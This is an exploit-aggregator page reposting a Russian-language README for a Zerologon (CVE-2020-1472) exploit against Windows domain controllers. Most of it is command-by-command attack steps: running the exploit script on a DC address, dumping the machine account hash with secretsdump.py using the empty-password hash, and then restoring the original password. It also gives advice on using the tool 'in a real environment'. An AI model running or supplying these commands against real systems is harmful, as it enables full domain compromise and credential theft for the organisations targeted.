Sploitus

Exploit for CVE-2020-1472

kitploit · 2026-08-25

Exploit Code

MARKDOWN42 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-NAXG-CVE-2020-1472
После воспроизведения есть небольшие баги: после перезагрузки система долго зависает на странице входа. Не знаю, только ли у меня так. (Осторожно при использовании в реальной среде) В реальных условиях можно использовать -use-vss и -history из secretsdump.py для получения исторических хэшей и восстановления.

Шаг 1

pip3 install -r requirements.txt

Просмотр хэша

secretsdump.py molecule-labs.com/administrator:some-email@example.com -just-dc-user 'AD$'

![images](https://raw.githubusercontent.com/NAXG/CVE-2020-1472/master/1.png)

Атака

python3 CVE-2020-1472.py AD AD$ 192.168.175.132

![images](https://raw.githubusercontent.com/NAXG/CVE-2020-1472/master/2.png)

Запрос хэша контроллера домена

secretsdump.py molecule-labs.com/'AD$'@192.168.175.132 -just-dc-user 'AD$' -hashes :31d6cfe0d16ae931b73c59d7e0c089c0

![images](https://raw.githubusercontent.com/NAXG/CVE-2020-1472/master/3.png)

Восстановление хэша

python3 reinstall_original_pw.py AD 192.168.175.132 061e8e521872fa93a2f8d89ca0683145

![images](https://raw.githubusercontent.com/NAXG/CVE-2020-1472/master/4.png)

Проверка восстановленного хэша

secretsdump.py molecule-labs.com/administrator:some-email@example.com -just-dc-user 'AD$'

![images](https://raw.githubusercontent.com/NAXG/CVE-2020-1472/master/5.png)

Источник скриптов https://github.com/blackarrowsec/redteam-research

https://github.com/dirkjanm/CVE-2020-1472

https://github.com/SecuraBV/CVE-2020-1472